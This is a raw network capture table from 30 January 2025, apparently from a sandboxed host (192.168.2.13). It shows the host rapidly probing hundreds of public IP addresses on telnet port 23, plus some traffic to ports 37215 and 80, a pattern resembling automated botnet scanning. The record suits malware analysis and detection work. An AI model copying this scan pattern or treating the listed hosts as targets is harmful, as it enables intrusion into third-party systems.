Jan 30, 2025 10:43:01.352518082 CET	80	50770	46.205.239.153	192.168.2.13
Jan 30, 2025 10:43:01.352585077 CET	45354	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:01.352727890 CET	50770	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:01.352727890 CET	50770	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:01.352749109 CET	51144	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:01.357568979 CET	37215	45354	197.115.207.226	192.168.2.13
Jan 30, 2025 10:43:01.357619047 CET	45354	37215	192.168.2.13	197.115.207.226
Jan 30, 2025 10:43:01.357798100 CET	37215	51144	156.2.135.176	192.168.2.13
Jan 30, 2025 10:43:01.357853889 CET	51144	37215	192.168.2.13	156.2.135.176
Jan 30, 2025 10:43:01.357917070 CET	80	50770	46.205.239.153	192.168.2.13
Jan 30, 2025 10:43:01.358052015 CET	50770	80	192.168.2.13	46.205.239.153
Jan 30, 2025 10:43:01.379163980 CET	57180	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:01.379187107 CET	53890	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:01.383914948 CET	80	57180	108.203.102.234	192.168.2.13
Jan 30, 2025 10:43:01.383970022 CET	80	53890	74.169.236.49	192.168.2.13
Jan 30, 2025 10:43:01.383987904 CET	57180	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:01.384027004 CET	53890	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:01.384053946 CET	57180	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:01.384093046 CET	53890	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:01.389040947 CET	80	57180	108.203.102.234	192.168.2.13
Jan 30, 2025 10:43:01.389096022 CET	57180	80	192.168.2.13	108.203.102.234
Jan 30, 2025 10:43:01.389182091 CET	80	53890	74.169.236.49	192.168.2.13
Jan 30, 2025 10:43:01.389283895 CET	53890	80	192.168.2.13	74.169.236.49
Jan 30, 2025 10:43:01.425101042 CET	23	40794	125.153.47.247	192.168.2.13
Jan 30, 2025 10:43:01.425410032 CET	40794	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:43:01.426079988 CET	41082	23	192.168.2.13	125.153.47.247
Jan 30, 2025 10:43:01.426692009 CET	38884	23	192.168.2.13	114.147.175.37
Jan 30, 2025 10:43:01.426708937 CET	38884	23	192.168.2.13	114.52.145.200
Jan 30, 2025 10:43:01.426721096 CET	38884	23	192.168.2.13	158.20.128.74
Jan 30, 2025 10:43:01.426722050 CET	38884	23	192.168.2.13	154.0.239.194
Jan 30, 2025 10:43:01.426722050 CET	38884	23	192.168.2.13	12.218.76.133
Jan 30, 2025 10:43:01.426722050 CET	38884	23	192.168.2.13	206.99.186.20
Jan 30, 2025 10:43:01.426737070 CET	38884	23	192.168.2.13	19.28.146.44
Jan 30, 2025 10:43:01.426740885 CET	38884	23	192.168.2.13	101.200.96.211
Jan 30, 2025 10:43:01.426744938 CET	38884	23	192.168.2.13	188.14.147.109
Jan 30, 2025 10:43:01.426753998 CET	38884	23	192.168.2.13	165.212.137.98
Jan 30, 2025 10:43:01.426754951 CET	38884	23	192.168.2.13	197.45.143.2
Jan 30, 2025 10:43:01.426754951 CET	38884	23	192.168.2.13	90.198.49.206
Jan 30, 2025 10:43:01.426763058 CET	38884	23	192.168.2.13	173.164.116.202
Jan 30, 2025 10:43:01.426764965 CET	38884	23	192.168.2.13	165.117.74.169
Jan 30, 2025 10:43:01.426769972 CET	38884	23	192.168.2.13	47.79.92.215
Jan 30, 2025 10:43:01.426779032 CET	38884	23	192.168.2.13	104.1.136.91
Jan 30, 2025 10:43:01.426784992 CET	38884	23	192.168.2.13	62.38.214.47
Jan 30, 2025 10:43:01.426786900 CET	38884	23	192.168.2.13	2.28.76.154
Jan 30, 2025 10:43:01.426788092 CET	38884	23	192.168.2.13	131.54.199.154
Jan 30, 2025 10:43:01.426788092 CET	38884	23	192.168.2.13	5.109.44.71
Jan 30, 2025 10:43:01.426805019 CET	38884	23	192.168.2.13	196.195.113.49
Jan 30, 2025 10:43:01.426806927 CET	38884	23	192.168.2.13	95.216.9.102
Jan 30, 2025 10:43:01.426820040 CET	38884	23	192.168.2.13	54.158.244.126
Jan 30, 2025 10:43:01.426827908 CET	38884	23	192.168.2.13	162.27.118.109
Jan 30, 2025 10:43:01.426830053 CET	38884	23	192.168.2.13	182.225.175.90
Jan 30, 2025 10:43:01.426846027 CET	38884	23	192.168.2.13	83.230.10.117
Jan 30, 2025 10:43:01.426847935 CET	38884	23	192.168.2.13	39.156.25.86
Jan 30, 2025 10:43:01.426847935 CET	38884	23	192.168.2.13	152.192.123.111
Jan 30, 2025 10:43:01.426856041 CET	38884	23	192.168.2.13	170.161.51.143
Jan 30, 2025 10:43:01.426867962 CET	38884	23	192.168.2.13	190.67.205.127
Jan 30, 2025 10:43:01.426889896 CET	38884	23	192.168.2.13	165.21.3.189
Jan 30, 2025 10:43:01.426893950 CET	38884	23	192.168.2.13	65.164.108.90
Jan 30, 2025 10:43:01.426896095 CET	38884	23	192.168.2.13	134.178.60.47
Jan 30, 2025 10:43:01.426908016 CET	38884	23	192.168.2.13	106.42.3.204
Jan 30, 2025 10:43:01.426924944 CET	38884	23	192.168.2.13	129.62.212.140
Jan 30, 2025 10:43:01.426933050 CET	38884	23	192.168.2.13	81.46.169.134
Jan 30, 2025 10:43:01.426938057 CET	38884	23	192.168.2.13	155.103.126.14
Jan 30, 2025 10:43:01.426949978 CET	38884	23	192.168.2.13	13.224.229.67
Jan 30, 2025 10:43:01.426950932 CET	38884	23	192.168.2.13	148.115.99.45
Jan 30, 2025 10:43:01.426958084 CET	38884	23	192.168.2.13	213.52.208.151
Jan 30, 2025 10:43:01.426959038 CET	38884	23	192.168.2.13	123.207.202.35
Jan 30, 2025 10:43:01.426959038 CET	38884	23	192.168.2.13	37.4.137.47
Jan 30, 2025 10:43:01.426968098 CET	38884	23	192.168.2.13	98.30.55.189
Jan 30, 2025 10:43:01.426975012 CET	38884	23	192.168.2.13	49.148.192.253
Jan 30, 2025 10:43:01.426999092 CET	38884	23	192.168.2.13	27.55.3.60
Jan 30, 2025 10:43:01.426999092 CET	38884	23	192.168.2.13	187.136.196.209
Jan 30, 2025 10:43:01.427000046 CET	38884	23	192.168.2.13	128.222.78.55
Jan 30, 2025 10:43:01.427017927 CET	38884	23	192.168.2.13	62.110.170.94
Jan 30, 2025 10:43:01.427027941 CET	38884	23	192.168.2.13	213.205.108.137
Jan 30, 2025 10:43:01.427036047 CET	38884	23	192.168.2.13	105.252.192.13
Jan 30, 2025 10:43:01.427036047 CET	38884	23	192.168.2.13	87.222.48.19
Jan 30, 2025 10:43:01.427041054 CET	38884	23	192.168.2.13	101.124.113.44
Jan 30, 2025 10:43:01.427047014 CET	38884	23	192.168.2.13	189.29.111.127
Jan 30, 2025 10:43:01.427050114 CET	38884	23	192.168.2.13	163.198.83.105
Jan 30, 2025 10:43:01.427051067 CET	38884	23	192.168.2.13	185.48.194.225
Jan 30, 2025 10:43:01.427062035 CET	38884	23	192.168.2.13	218.123.244.196
Jan 30, 2025 10:43:01.427067041 CET	38884	23	192.168.2.13	107.123.159.148
Jan 30, 2025 10:43:01.427069902 CET	38884	23	192.168.2.13	188.144.191.205
Jan 30, 2025 10:43:01.427073956 CET	38884	23	192.168.2.13	122.171.47.21
Jan 30, 2025 10:43:01.427090883 CET	38884	23	192.168.2.13	211.56.175.60
Jan 30, 2025 10:43:01.427092075 CET	38884	23	192.168.2.13	45.234.64.2
Jan 30, 2025 10:43:01.427093029 CET	38884	23	192.168.2.13	48.169.178.147
Jan 30, 2025 10:43:01.427093029 CET	38884	23	192.168.2.13	84.81.10.234
Jan 30, 2025 10:43:01.427093029 CET	38884	23	192.168.2.13	69.178.238.201
Jan 30, 2025 10:43:01.427107096 CET	38884	23	192.168.2.13	57.68.9.201
Jan 30, 2025 10:43:01.427124023 CET	38884	23	192.168.2.13	135.56.18.114
Jan 30, 2025 10:43:01.427124977 CET	38884	23	192.168.2.13	134.151.242.168
Jan 30, 2025 10:43:01.427129030 CET	38884	23	192.168.2.13	8.147.246.211
Jan 30, 2025 10:43:01.427149057 CET	38884	23	192.168.2.13	71.0.242.118
Jan 30, 2025 10:43:01.427156925 CET	38884	23	192.168.2.13	161.227.117.59
Jan 30, 2025 10:43:01.427165985 CET	38884	23	192.168.2.13	67.147.169.17
Jan 30, 2025 10:43:01.427185059 CET	38884	23	192.168.2.13	142.73.62.186
Jan 30, 2025 10:43:01.427191019 CET	38884	23	192.168.2.13	35.124.204.234
Jan 30, 2025 10:43:01.427201033 CET	38884	23	192.168.2.13	183.165.116.154
Jan 30, 2025 10:43:01.427205086 CET	38884	23	192.168.2.13	74.166.10.23
Jan 30, 2025 10:43:01.427210093 CET	38884	23	192.168.2.13	14.186.251.46
Jan 30, 2025 10:43:01.427217007 CET	38884	23	192.168.2.13	160.125.104.193
Jan 30, 2025 10:43:01.427222013 CET	38884	23	192.168.2.13	105.17.147.125
Jan 30, 2025 10:43:01.427228928 CET	38884	23	192.168.2.13	90.177.139.233
Jan 30, 2025 10:43:01.427232027 CET	38884	23	192.168.2.13	67.47.69.212
Jan 30, 2025 10:43:01.427251101 CET	38884	23	192.168.2.13	188.95.241.146
Jan 30, 2025 10:43:01.427253008 CET	38884	23	192.168.2.13	125.112.109.137
Jan 30, 2025 10:43:01.427253008 CET	38884	23	192.168.2.13	43.191.64.146
Jan 30, 2025 10:43:01.427258968 CET	38884	23	192.168.2.13	142.218.67.127
Jan 30, 2025 10:43:01.427265882 CET	38884	23	192.168.2.13	60.12.95.67
Jan 30, 2025 10:43:01.427275896 CET	38884	23	192.168.2.13	182.11.9.254
Jan 30, 2025 10:43:01.427282095 CET	38884	23	192.168.2.13	177.164.11.166
Jan 30, 2025 10:43:01.427283049 CET	38884	23	192.168.2.13	32.206.24.44
Jan 30, 2025 10:43:01.427295923 CET	38884	23	192.168.2.13	143.137.5.168
Jan 30, 2025 10:43:01.427299023 CET	38884	23	192.168.2.13	131.35.33.109
Jan 30, 2025 10:43:01.427301884 CET	38884	23	192.168.2.13	182.202.204.74
Jan 30, 2025 10:43:01.427326918 CET	38884	23	192.168.2.13	73.45.15.5
Jan 30, 2025 10:43:01.427326918 CET	38884	23	192.168.2.13	202.111.250.25
Jan 30, 2025 10:43:01.427333117 CET	38884	23	192.168.2.13	146.131.217.235
Jan 30, 2025 10:43:01.427349091 CET	38884	23	192.168.2.13	74.234.168.161
Jan 30, 2025 10:43:01.427349091 CET	38884	23	192.168.2.13	25.97.71.34
Jan 30, 2025 10:43:01.427371025 CET	38884	23	192.168.2.13	69.110.2.157
Jan 30, 2025 10:43:01.427376986 CET	38884	23	192.168.2.13	8.70.96.172
Jan 30, 2025 10:43:01.427376986 CET	38884	23	192.168.2.13	31.224.4.168
Jan 30, 2025 10:43:01.427382946 CET	38884	23	192.168.2.13	89.118.124.6
Jan 30, 2025 10:43:01.427386999 CET	38884	23	192.168.2.13	68.210.107.121
Jan 30, 2025 10:43:01.427386999 CET	38884	23	192.168.2.13	219.144.209.37
Jan 30, 2025 10:43:01.427386999 CET	38884	23	192.168.2.13	125.15.73.76
Jan 30, 2025 10:43:01.427402020 CET	38884	23	192.168.2.13	200.201.155.242
Jan 30, 2025 10:43:01.427403927 CET	38884	23	192.168.2.13	82.96.118.194
Jan 30, 2025 10:43:01.427412987 CET	38884	23	192.168.2.13	211.189.27.95
Jan 30, 2025 10:43:01.427414894 CET	38884	23	192.168.2.13	139.185.60.36
Jan 30, 2025 10:43:01.427414894 CET	38884	23	192.168.2.13	14.150.102.192
Jan 30, 2025 10:43:01.427421093 CET	38884	23	192.168.2.13	208.48.239.168
Jan 30, 2025 10:43:01.427428961 CET	38884	23	192.168.2.13	51.132.137.151
Jan 30, 2025 10:43:01.427433968 CET	38884	23	192.168.2.13	101.200.149.114
Jan 30, 2025 10:43:01.427443027 CET	38884	23	192.168.2.13	67.171.76.78
Jan 30, 2025 10:43:01.427443981 CET	38884	23	192.168.2.13	218.135.139.89
Jan 30, 2025 10:43:01.427450895 CET	38884	23	192.168.2.13	19.43.138.31
Jan 30, 2025 10:43:01.427459955 CET	38884	23	192.168.2.13	82.43.220.84
Jan 30, 2025 10:43:01.427464008 CET	38884	23	192.168.2.13	168.143.60.146
Jan 30, 2025 10:43:01.427469015 CET	38884	23	192.168.2.13	174.22.109.214
Jan 30, 2025 10:43:01.427473068 CET	38884	23	192.168.2.13	102.188.75.123
Jan 30, 2025 10:43:01.427479029 CET	38884	23	192.168.2.13	121.172.101.177
Jan 30, 2025 10:43:01.427494049 CET	38884	23	192.168.2.13	143.42.73.1
Jan 30, 2025 10:43:01.427495956 CET	38884	23	192.168.2.13	124.186.213.138
Jan 30, 2025 10:43:01.427501917 CET	38884	23	192.168.2.13	5.107.16.70
Jan 30, 2025 10:43:01.427510023 CET	38884	23	192.168.2.13	61.67.123.137
Jan 30, 2025 10:43:01.427510023 CET	38884	23	192.168.2.13	5.176.58.174
Jan 30, 2025 10:43:01.427510977 CET	38884	23	192.168.2.13	39.132.188.107
Jan 30, 2025 10:43:01.427520990 CET	38884	23	192.168.2.13	223.246.12.3
Jan 30, 2025 10:43:01.427524090 CET	38884	23	192.168.2.13	8.16.45.29
Jan 30, 2025 10:43:01.427537918 CET	38884	23	192.168.2.13	218.25.196.199
Jan 30, 2025 10:43:01.427562952 CET	38884	23	192.168.2.13	44.216.188.196
Jan 30, 2025 10:43:01.427566051 CET	38884	23	192.168.2.13	110.21.168.8
Jan 30, 2025 10:43:01.427567959 CET	38884	23	192.168.2.13	196.103.93.217
Jan 30, 2025 10:43:01.427568913 CET	38884	23	192.168.2.13	210.171.2.80
Jan 30, 2025 10:43:01.427572012 CET	38884	23	192.168.2.13	136.36.63.218
Jan 30, 2025 10:43:01.427577019 CET	38884	23	192.168.2.13	173.54.235.170
Jan 30, 2025 10:43:01.427577972 CET	38884	23	192.168.2.13	158.238.237.84
Jan 30, 2025 10:43:01.427582979 CET	38884	23	192.168.2.13	104.194.153.36
Jan 30, 2025 10:43:01.427582979 CET	38884	23	192.168.2.13	203.172.124.50
Jan 30, 2025 10:43:01.427592993 CET	38884	23	192.168.2.13	59.124.162.62
Jan 30, 2025 10:43:01.427594900 CET	38884	23	192.168.2.13	42.1.148.109
Jan 30, 2025 10:43:01.427602053 CET	38884	23	192.168.2.13	151.76.57.204
Jan 30, 2025 10:43:01.427613020 CET	38884	23	192.168.2.13	180.122.178.135
Jan 30, 2025 10:43:01.427618027 CET	38884	23	192.168.2.13	216.47.173.63
Jan 30, 2025 10:43:01.427622080 CET	38884	23	192.168.2.13	20.12.15.101
Jan 30, 2025 10:43:01.427637100 CET	38884	23	192.168.2.13	161.114.253.190
Jan 30, 2025 10:43:01.427648067 CET	38884	23	192.168.2.13	217.50.157.55
Jan 30, 2025 10:43:01.427649021 CET	38884	23	192.168.2.13	89.90.110.72
Jan 30, 2025 10:43:01.427649975 CET	38884	23	192.168.2.13	166.226.45.68
Jan 30, 2025 10:43:01.427654982 CET	38884	23	192.168.2.13	168.28.32.203
Jan 30, 2025 10:43:01.427654982 CET	38884	23	192.168.2.13	201.226.136.36
Jan 30, 2025 10:43:01.427673101 CET	38884	23	192.168.2.13	68.119.42.207
Jan 30, 2025 10:43:01.427675962 CET	38884	23	192.168.2.13	130.95.205.186
Jan 30, 2025 10:43:01.427675962 CET	38884	23	192.168.2.13	84.243.241.180
Jan 30, 2025 10:43:01.427685022 CET	38884	23	192.168.2.13	72.67.149.71
Jan 30, 2025 10:43:01.427700043 CET	38884	23	192.168.2.13	188.218.188.117
Jan 30, 2025 10:43:01.427704096 CET	38884	23	192.168.2.13	57.135.25.129
Jan 30, 2025 10:43:01.427719116 CET	38884	23	192.168.2.13	104.125.56.17
Jan 30, 2025 10:43:01.427726984 CET	38884	23	192.168.2.13	43.109.210.115
Jan 30, 2025 10:43:01.427735090 CET	38884	23	192.168.2.13	4.120.68.100
Jan 30, 2025 10:43:01.427735090 CET	38884	23	192.168.2.13	155.55.158.170
Jan 30, 2025 10:43:01.427735090 CET	38884	23	192.168.2.13	60.215.163.80
Jan 30, 2025 10:43:01.427755117 CET	38884	23	192.168.2.13	34.32.93.208
Jan 30, 2025 10:43:01.427771091 CET	38884	23	192.168.2.13	203.104.12.63
Jan 30, 2025 10:43:01.427771091 CET	38884	23	192.168.2.13	204.92.119.153
Jan 30, 2025 10:43:01.427782059 CET	38884	23	192.168.2.13	58.146.141.215
Jan 30, 2025 10:43:01.427803993 CET	38884	23	192.168.2.13	157.150.60.28
Jan 30, 2025 10:43:01.427807093 CET	38884	23	192.168.2.13	129.2.155.141
Jan 30, 2025 10:43:01.427812099 CET	38884	23	192.168.2.13	196.170.29.95
Jan 30, 2025 10:43:01.427819967 CET	38884	23	192.168.2.13	178.251.118.107
Jan 30, 2025 10:43:01.427824020 CET	38884	23	192.168.2.13	166.68.187.20
Jan 30, 2025 10:43:01.427849054 CET	38884	23	192.168.2.13	34.189.139.39
Jan 30, 2025 10:43:01.427856922 CET	38884	23	192.168.2.13	169.135.84.137
Jan 30, 2025 10:43:01.427866936 CET	38884	23	192.168.2.13	110.122.80.239
Jan 30, 2025 10:43:01.427867889 CET	38884	23	192.168.2.13	60.194.100.241
Jan 30, 2025 10:43:01.427886009 CET	38884	23	192.168.2.13	179.172.144.142
Jan 30, 2025 10:43:01.427887917 CET	38884	23	192.168.2.13	194.181.231.174
Jan 30, 2025 10:43:01.427887917 CET	38884	23	192.168.2.13	159.41.223.204
Jan 30, 2025 10:43:01.427887917 CET	38884	23	192.168.2.13	88.15.58.56
Jan 30, 2025 10:43:01.427887917 CET	38884	23	192.168.2.13	46.70.3.83
Jan 30, 2025 10:43:01.427891016 CET	38884	23	192.168.2.13	37.161.120.38
Jan 30, 2025 10:43:01.427892923 CET	38884	23	192.168.2.13	155.183.233.252
Jan 30, 2025 10:43:01.427901983 CET	38884	23	192.168.2.13	113.32.192.161
Jan 30, 2025 10:43:01.427906990 CET	38884	23	192.168.2.13	106.147.252.213
Jan 30, 2025 10:43:01.427908897 CET	38884	23	192.168.2.13	147.45.123.229
Jan 30, 2025 10:43:01.427925110 CET	38884	23	192.168.2.13	193.176.200.117
Jan 30, 2025 10:43:01.427934885 CET	38884	23	192.168.2.13	50.222.235.241
Jan 30, 2025 10:43:01.427934885 CET	38884	23	192.168.2.13	42.54.184.74
Jan 30, 2025 10:43:01.427942991 CET	38884	23	192.168.2.13	59.147.46.43
Jan 30, 2025 10:43:01.427953959 CET	38884	23	192.168.2.13	189.233.105.107
Jan 30, 2025 10:43:01.427957058 CET	38884	23	192.168.2.13	39.233.203.77
Jan 30, 2025 10:43:01.427957058 CET	38884	23	192.168.2.13	44.8.153.206
Jan 30, 2025 10:43:01.427974939 CET	38884	23	192.168.2.13	192.171.181.68
Jan 30, 2025 10:43:01.427974939 CET	38884	23	192.168.2.13	117.220.94.236
Jan 30, 2025 10:43:01.427975893 CET	38884	23	192.168.2.13	123.8.95.206
Jan 30, 2025 10:43:01.427974939 CET	38884	23	192.168.2.13	82.92.246.212
Jan 30, 2025 10:43:01.427974939 CET	38884	23	192.168.2.13	206.227.207.203
Jan 30, 2025 10:43:01.427983046 CET	38884	23	192.168.2.13	43.144.164.33
Jan 30, 2025 10:43:01.428009987 CET	38884	23	192.168.2.13	153.129.133.76
Jan 30, 2025 10:43:01.428014040 CET	38884	23	192.168.2.13	61.7.140.70
Jan 30, 2025 10:43:01.428014040 CET	38884	23	192.168.2.13	192.175.140.194
Jan 30, 2025 10:43:01.428029060 CET	38884	23	192.168.2.13	76.55.7.115
Jan 30, 2025 10:43:01.428030968 CET	38884	23	192.168.2.13	121.251.14.8
Jan 30, 2025 10:43:01.428030968 CET	38884	23	192.168.2.13	13.23.174.93
Jan 30, 2025 10:43:01.428030968 CET	38884	23	192.168.2.13	120.18.91.120
Jan 30, 2025 10:43:01.428035021 CET	38884	23	192.168.2.13	117.26.201.80
Jan 30, 2025 10:43:01.428041935 CET	38884	23	192.168.2.13	61.137.219.232
Jan 30, 2025 10:43:01.428041935 CET	38884	23	192.168.2.13	89.144.153.95
Jan 30, 2025 10:43:01.428047895 CET	38884	23	192.168.2.13	185.2.127.62
Jan 30, 2025 10:43:01.428050995 CET	38884	23	192.168.2.13	132.187.19.141
Jan 30, 2025 10:43:01.428050995 CET	38884	23	192.168.2.13	69.217.25.237
Jan 30, 2025 10:43:01.428054094 CET	38884	23	192.168.2.13	142.31.195.102
Jan 30, 2025 10:43:01.428054094 CET	38884	23	192.168.2.13	138.116.195.225
Jan 30, 2025 10:43:01.428055048 CET	38884	23	192.168.2.13	113.29.207.59
Jan 30, 2025 10:43:01.428061962 CET	38884	23	192.168.2.13	27.23.67.253
Jan 30, 2025 10:43:01.428064108 CET	38884	23	192.168.2.13	169.26.189.43
Jan 30, 2025 10:43:01.428065062 CET	38884	23	192.168.2.13	81.11.211.121
Jan 30, 2025 10:43:01.428075075 CET	38884	23	192.168.2.13	150.6.167.26
Jan 30, 2025 10:43:01.428075075 CET	38884	23	192.168.2.13	117.165.109.221
Jan 30, 2025 10:43:01.428077936 CET	38884	23	192.168.2.13	67.96.134.137
Jan 30, 2025 10:43:01.428078890 CET	38884	23	192.168.2.13	1.245.109.228
Jan 30, 2025 10:43:01.428078890 CET	38884	23	192.168.2.13	145.69.216.208
Jan 30, 2025 10:43:01.428078890 CET	38884	23	192.168.2.13	88.36.60.7
Jan 30, 2025 10:43:01.428078890 CET	38884	23	192.168.2.13	65.175.209.150
Jan 30, 2025 10:43:01.428081036 CET	38884	23	192.168.2.13	191.1.197.33
Jan 30, 2025 10:43:01.428081036 CET	38884	23	192.168.2.13	223.100.20.219
Jan 30, 2025 10:43:01.428087950 CET	38884	23	192.168.2.13	197.66.53.84
Jan 30, 2025 10:43:01.428088903 CET	38884	23	192.168.2.13	223.14.207.196
Jan 30, 2025 10:43:01.428091049 CET	38884	23	192.168.2.13	110.45.118.121
Jan 30, 2025 10:43:01.428095102 CET	38884	23	192.168.2.13	192.55.201.24
Jan 30, 2025 10:43:01.428101063 CET	38884	23	192.168.2.13	88.251.129.176
Jan 30, 2025 10:43:01.428101063 CET	38884	23	192.168.2.13	111.33.76.2
Jan 30, 2025 10:43:01.428101063 CET	38884	23	192.168.2.13	209.55.217.156
Jan 30, 2025 10:43:01.428102016 CET	38884	23	192.168.2.13	118.101.129.85
Jan 30, 2025 10:43:01.428102016 CET	38884	23	192.168.2.13	74.54.168.62
Jan 30, 2025 10:43:01.428112984 CET	38884	23	192.168.2.13	117.113.113.3
Jan 30, 2025 10:43:01.428118944 CET	38884	23	192.168.2.13	87.142.218.184
Jan 30, 2025 10:43:01.428118944 CET	38884	23	192.168.2.13	86.85.169.113
Jan 30, 2025 10:43:01.428121090 CET	38884	23	192.168.2.13	18.152.85.161
Jan 30, 2025 10:43:01.428122044 CET	38884	23	192.168.2.13	96.181.5.37
Jan 30, 2025 10:43:01.428122044 CET	38884	23	192.168.2.13	180.86.22.168
Jan 30, 2025 10:43:01.428124905 CET	38884	23	192.168.2.13	100.14.117.181
Jan 30, 2025 10:43:01.428124905 CET	38884	23	192.168.2.13	19.29.65.124
Jan 30, 2025 10:43:01.428133011 CET	38884	23	192.168.2.13	68.15.51.128
Jan 30, 2025 10:43:01.428134918 CET	38884	23	192.168.2.13	151.58.26.253
Jan 30, 2025 10:43:01.428149939 CET	38884	23	192.168.2.13	155.239.70.110
Jan 30, 2025 10:43:01.428150892 CET	38884	23	192.168.2.13	81.132.235.243
Jan 30, 2025 10:43:01.428159952 CET	38884	23	192.168.2.13	81.250.0.166
Jan 30, 2025 10:43:01.428169966 CET	38884	23	192.168.2.13	211.233.52.233
Jan 30, 2025 10:43:01.428174019 CET	38884	23	192.168.2.13	132.59.198.83
Jan 30, 2025 10:43:01.428178072 CET	38884	23	192.168.2.13	203.156.76.179
Jan 30, 2025 10:43:01.428181887 CET	38884	23	192.168.2.13	87.89.74.143
Jan 30, 2025 10:43:01.428189993 CET	38884	23	192.168.2.13	53.210.197.187
Jan 30, 2025 10:43:01.428199053 CET	38884	23	192.168.2.13	163.129.143.85
Jan 30, 2025 10:43:01.428200006 CET	38884	23	192.168.2.13	146.33.77.45
Jan 30, 2025 10:43:01.428206921 CET	38884	23	192.168.2.13	161.219.121.92
Jan 30, 2025 10:43:01.428206921 CET	38884	23	192.168.2.13	98.241.71.139
Jan 30, 2025 10:43:01.428214073 CET	38884	23	192.168.2.13	220.130.0.102
Jan 30, 2025 10:43:01.428219080 CET	38884	23	192.168.2.13	212.234.41.71
Jan 30, 2025 10:43:01.428220987 CET	38884	23	192.168.2.13	183.121.154.50
Jan 30, 2025 10:43:01.428220987 CET	38884	23	192.168.2.13	81.97.66.138
Jan 30, 2025 10:43:01.428234100 CET	38884	23	192.168.2.13	138.130.2.75
Jan 30, 2025 10:43:01.428235054 CET	38884	23	192.168.2.13	176.59.234.250
Jan 30, 2025 10:43:01.428235054 CET	38884	23	192.168.2.13	41.235.187.187
Jan 30, 2025 10:43:01.428236008 CET	38884	23	192.168.2.13	69.22.16.175
Jan 30, 2025 10:43:01.428241968 CET	38884	23	192.168.2.13	205.123.20.129
Jan 30, 2025 10:43:01.428256035 CET	38884	23	192.168.2.13	112.219.207.56
Jan 30, 2025 10:43:01.428258896 CET	38884	23	192.168.2.13	71.33.58.166
Jan 30, 2025 10:43:01.428258896 CET	38884	23	192.168.2.13	163.63.103.240
Jan 30, 2025 10:43:01.428272009 CET	38884	23	192.168.2.13	194.200.63.226
Jan 30, 2025 10:43:01.428277969 CET	38884	23	192.168.2.13	62.211.51.172
Jan 30, 2025 10:43:01.428282976 CET	38884	23	192.168.2.13	19.92.57.120
Jan 30, 2025 10:43:01.428287983 CET	38884	23	192.168.2.13	51.190.243.248
Jan 30, 2025 10:43:01.428292990 CET	38884	23	192.168.2.13	152.190.102.235
Jan 30, 2025 10:43:01.428318024 CET	38884	23	192.168.2.13	221.183.1.175
Jan 30, 2025 10:43:01.428323030 CET	38884	23	192.168.2.13	52.254.72.22
Jan 30, 2025 10:43:01.428325891 CET	38884	23	192.168.2.13	84.169.143.77
Jan 30, 2025 10:43:01.428332090 CET	38884	23	192.168.2.13	124.44.5.183
Jan 30, 2025 10:43:01.428334951 CET	38884	23	192.168.2.13	113.65.49.5
Jan 30, 2025 10:43:01.428344965 CET	38884	23	192.168.2.13	36.206.30.109
Jan 30, 2025 10:43:01.428345919 CET	38884	23	192.168.2.13	40.23.69.168
Jan 30, 2025 10:43:01.428352118 CET	38884	23	192.168.2.13	149.244.92.54
Jan 30, 2025 10:43:01.428375006 CET	38884	23	192.168.2.13	116.85.244.34
Jan 30, 2025 10:43:01.428375006 CET	38884	23	192.168.2.13	134.213.38.22
Jan 30, 2025 10:43:01.428376913 CET	38884	23	192.168.2.13	179.72.1.192
Jan 30, 2025 10:43:01.428376913 CET	38884	23	192.168.2.13	128.74.165.32
Jan 30, 2025 10:43:01.428381920 CET	38884	23	192.168.2.13	177.82.245.57
Jan 30, 2025 10:43:01.428383112 CET	38884	23	192.168.2.13	164.143.186.135
Jan 30, 2025 10:43:01.428395033 CET	38884	23	192.168.2.13	170.60.240.137
Jan 30, 2025 10:43:01.428395987 CET	38884	23	192.168.2.13	74.61.245.250
Jan 30, 2025 10:43:01.428400040 CET	38884	23	192.168.2.13	175.145.183.135
Jan 30, 2025 10:43:01.428420067 CET	38884	23	192.168.2.13	191.203.73.119
Jan 30, 2025 10:43:01.428420067 CET	38884	23	192.168.2.13	200.107.112.71
Jan 30, 2025 10:43:01.428423882 CET	38884	23	192.168.2.13	190.202.63.164
Jan 30, 2025 10:43:01.428425074 CET	38884	23	192.168.2.13	205.175.237.145
Jan 30, 2025 10:43:01.428432941 CET	38884	23	192.168.2.13	206.26.142.199
Jan 30, 2025 10:43:01.428433895 CET	38884	23	192.168.2.13	130.173.90.169
Jan 30, 2025 10:43:01.428436041 CET	38884	23	192.168.2.13	146.146.34.11
Jan 30, 2025 10:43:01.428450108 CET	38884	23	192.168.2.13	146.205.4.36
Jan 30, 2025 10:43:01.428452015 CET	38884	23	192.168.2.13	113.40.210.139
Jan 30, 2025 10:43:01.428452015 CET	38884	23	192.168.2.13	122.12.238.16
Jan 30, 2025 10:43:01.428467035 CET	38884	23	192.168.2.13	189.98.254.26
Jan 30, 2025 10:43:01.428486109 CET	38884	23	192.168.2.13	170.194.95.191
Jan 30, 2025 10:43:01.428498030 CET	38884	23	192.168.2.13	63.40.168.89
Jan 30, 2025 10:43:01.428498030 CET	38884	23	192.168.2.13	123.99.159.68
Jan 30, 2025 10:43:01.428499937 CET	38884	23	192.168.2.13	51.135.172.46
Jan 30, 2025 10:43:01.428504944 CET	38884	23	192.168.2.13	49.70.11.212
Jan 30, 2025 10:43:01.428513050 CET	38884	23	192.168.2.13	187.226.209.80
Jan 30, 2025 10:43:01.428515911 CET	38884	23	192.168.2.13	54.187.115.169
Jan 30, 2025 10:43:01.428519011 CET	38884	23	192.168.2.13	148.71.168.100
Jan 30, 2025 10:43:01.428519011 CET	38884	23	192.168.2.13	92.27.18.20
Jan 30, 2025 10:43:01.428525925 CET	38884	23	192.168.2.13	96.143.79.61
Jan 30, 2025 10:43:01.428531885 CET	38884	23	192.168.2.13	96.235.221.28
Jan 30, 2025 10:43:01.428534031 CET	38884	23	192.168.2.13	138.167.95.169
Jan 30, 2025 10:43:01.428534031 CET	38884	23	192.168.2.13	209.35.93.20
Jan 30, 2025 10:43:01.428534031 CET	38884	23	192.168.2.13	149.31.92.109
